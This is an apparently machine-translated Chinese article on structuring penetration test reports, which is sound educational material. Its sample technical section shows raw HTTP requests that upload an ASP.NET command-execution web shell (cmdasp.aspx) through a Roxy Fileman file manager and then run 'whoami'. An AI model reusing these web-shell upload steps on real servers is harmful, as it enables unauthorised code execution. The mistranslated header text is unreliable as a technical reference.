作为一名经验丰富的笔试者,他知道一份写得很好的报告的特点是,在提交报告后,客户没有任何额外的问题。 为此,它应包含至少四个基本部分,其中包含不同受众的信息。
第1节:一般信息和统计
虽然程序员修复错误可能需要所有技术细节,但管理层可能不了解所使用的技术和专用词汇。 相反,他们需要了解商业风险。 商业领袖必须了解利害攸关的问题,以便为公司做出明智的决定。 需要对整个报告中所载信息进行易于查阅的摘要,以确保正确理解所纠缠的风险。 此外,第一节应包含正式信息,即测试时测试的内容和权限的信息,参加测试的人员,测试的顺序。 下图显示了包含此信息的示例表。
测试应用程序 | SX dx http://XXXXX |
角色测试 | 管理员、用户 |
测试日期 | 30.10.2017 – 13.12.2017 |
测试地点 | 弗罗茨瓦夫(远程) |
主要 | 马丁XX |
测试者和报告作者 | 米哈尔·Kędzior |
文档版本 | 1.0 (15.12.2017) |
视觉通信还有助于清楚地传达检测到的安全错误。 使用各种图表和类似的图形元素来帮助您可视化批量数据。
在评估风险时,应遵循以下以下情况:
风险 =危险*发生的可能性*对业务的影响。
如果危险是与特定漏洞相关的一般风险。 发生概率意味着利用安全错误有多难。 对业务的影响决定了与攻击者使用错误相关的损失。 下图提供了一个用于评估漏洞数据风险的表。 例如,如果威胁很高,并且漏洞很容易被利用(漏洞)- C,并且影响是平均的 – 中等,我们总共得到 24 分,这意味着漏洞具有平均风险。 另一个图显示了如何可视化检测到的漏洞量。
根据您的风险评估,报告接收者应首先修复最关键的错误。 它们对企业构成最大威胁,并可能导致重大财务损失。
第 2 节:检测到的漏洞说明
大多数渗透测试报告使用某种风险评估系统,但很少花时间解释与给定漏洞相关的风险是什么。 客户在得知现有安全错误后,必须快速准确地决定要采取哪些步骤。 这往往涉及需要增加预算,这需要得到非技术性高级官员的批准。
要使困难的决策更加容易,请描述检测到的漏洞,以显示对业务的影响。 例如,如果检测到可能允许将任何文件传输到医疗保健门户的关键漏洞,则有两种方法可以报告它:
- 技术上准确 – X 的 Web 应用程序不会按类型限制文件传输,从而创建一个漏洞,使攻击者能够远程执行代码并提升应用程序的权限。
- 准确和上下文 – X 的 Web 应用程序并不限制按文件类型传输文件,从而创建一个漏洞,使攻击者能够远程执行不需要的代码并提升其在应用程序中的权限。 在这种情况下,攻击者可以查看任何用户的医疗记录,并在应用程序中充当管理员。
第二种方法更有份量,不仅指向技术方面,而且指向对业务的影响。 最有价值的报告是那些以人们,特别是领导职位的人所理解的语言吸引所有听众的报告。
第3节:维修建议
委托渗透测试的客户所依赖的最重要的事情之一是随后修复检测到的安全漏洞。 为了实现这一点,渗透测试人员除了描述检测到的漏洞外,还指示如何修复或虚构与检测到的错误相关的风险。 本节主要面向直接关注应用程序代码、服务器配置或数据库的技术培训人员。 向外部源添加描述如何修复已发现的安全错误的其他链接是有帮助的。 下图显示显示详细敏感信息的错误。 这些数据通常包括技术信息、类别、导致错误的方法、服务器的确切版本或应用程序和配置文件的系统路径。
以下是显示详细错误信息的错误示例建议。
第 4 节:漏洞的技术细节
最后一节应包含发现的漏洞的技术详细信息。 对于开发人员来说,了解什么是错误以及如何重建执行错误所需的步骤尤其有用。 如果您需要找到问题的源头,然后验证修复方法是否有效,这尤其有用。
以下是将任何文件上传到服务器的漏洞的详细技术说明。
在 服务器/内容/Roxy_Fileman/服务器上,有 一个文件查看器,允许具有适当权限(经过测试的管理员帐户)的登录用户上传它们(包括在系统上执行命令的脚本):
请求向服务器上传系统上的脚本执行命令:
帖子/管理员/罗西菲勒曼/流程查询?a=上传 HTTP/1.1
主机:XXX
用户代理:莫齐拉/5.0 (X11;利努克斯x86_64;rv:45.0) 壁虎/20100101火狐/45.0
接受:文本/毫升、应用程序/xhtml+毫升、应用程序/xml;q=0.9、*/:q=0.8
接受语言:en-US;q=0.5
接受编码: gzip, 放气
参考: http://XXXXX/Content/Roxy_Fileman/
曲奇: XXX=32b8a4de-a83d-45c8-8471-927e301a9b69;XXXX=AFD96B4B580D29A3CDFC11265B5B4C4A942D164F2
连接:关闭
缓存控制:最大年龄=0
内容类型:多部分/形式数据; 边界=---------------------------13949612691104534433104770617
内容长度:1861
年-----------------------------13949612691104534433104770617
内容-处置:表单数据;名称="行动"
上传-----------------------------13949612691104534433104770617
内容-处置:表单数据;名称="d"-----------------------------13949612691104534433104770617
内容-处置:形式数据;名称="文件";文件名="cmdasp.aspx"
内容类型:应用程序/八进制流
<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
服务器响应与成功的脚本上传响应:
帖子/管理员/罗西菲勒曼/流程查询?a=上传 HTTP/1.1
主机:XXX
用户代理:莫齐拉/5.0 (X11;利努克斯x86_64;rv:45.0) 壁虎/20100101火狐/45.0
HTTP/1.1 200 OK
缓存控制:专用
内容类型:文本/html; 查塞特utf-8
服务器:微软-IIS/10.0
X-阿斯普NetMvc版本:5.1
X-阿斯普网-版本:4.0.30319
集曲奇:XXX=32b8a4de-a83d-45c8-8471-927e301a9b69; 过期=星期五, 09-11月-2018 16:53:07 GMT; 路径=/;Httply
X 供电时间: ASP.NET
日期: 2017年11月09日 星期四 16:53:07 GMT
连接: 关闭
内容长度: 60
上传资源可在未经授权的情况下通过服务器/媒体/上传/文件名称
进行访问
请求服务器与命令执行- 谁米 显示当前的系统用户:
邮政/媒体/上传/厘米.aspx HTTP/1.1
主机:XXX
用户代理: 莫齐拉/5.0 (X11;利努克斯x86_64;rv:45.0) 壁虎/20100101火狐/45.0
接受:文本/毫升、应用程序/xhtml+毫升、应用程序/xml;q=0.9、*/:q=0.8 接受语言:en-US;q=0.5
接受编码: gzip, 放气
参考: http://XXXXX/media/uploaded/cmdasp.aspx
曲奇: XXX=32b8a4de-a83d-45c8-8471-927e301a9b69;
XXX=AFD96B4B580D29A3CDFC11265B5B4C4A942D164F2D
连接:关闭
内容类型:应用程序/x-www 形式-网格编码
内容长度:290
[...]
事件=%2弗费达安·杰姆特姆夫23QBZNDbYsx5itsamaVIY7阿伊布9杜瓦克2J
杜姆克斯尔夫克特姆布茨格夫 温格夫 8Lr4a8 内齐% 2 福克瑞斯布
+ 2 福德普洛普 9ud% 2Fbhu4w% 3d% 3d = txtarg = 哇米测试 + 执行
确认执行命令的服务器响应:
上传文件的机制在以下地址中确定:
- /管理员/发票/发票编辑
- /管理员/发票/发票列表
- /管理员/通讯/小组订阅列表
- /管理员/通讯/订阅列表
- /Content/Roxy_Fileman/index.html
安全错误永远不会完全消除。 它们既出现在 Microsoft 产品中,尽管 实施了安全开发生命周期 过程(包括各种安全测试和源代码审核),也出现在 Linux 内核中。它们可以在开源项目和代码关闭的项目中找到。 一个重要的要点是,在进行渗透测试时缺乏易感性检测并不是它们不存在的同义词。 这仅仅意味着,在有限的时间内,使用某些手段,知识和经验,笔试者找不到他们。 然而,从渗透测试的结果来看,可以得出有关应用质量的结论,或者更重要的是,在发现错误的情况下,找出它们带来的风险。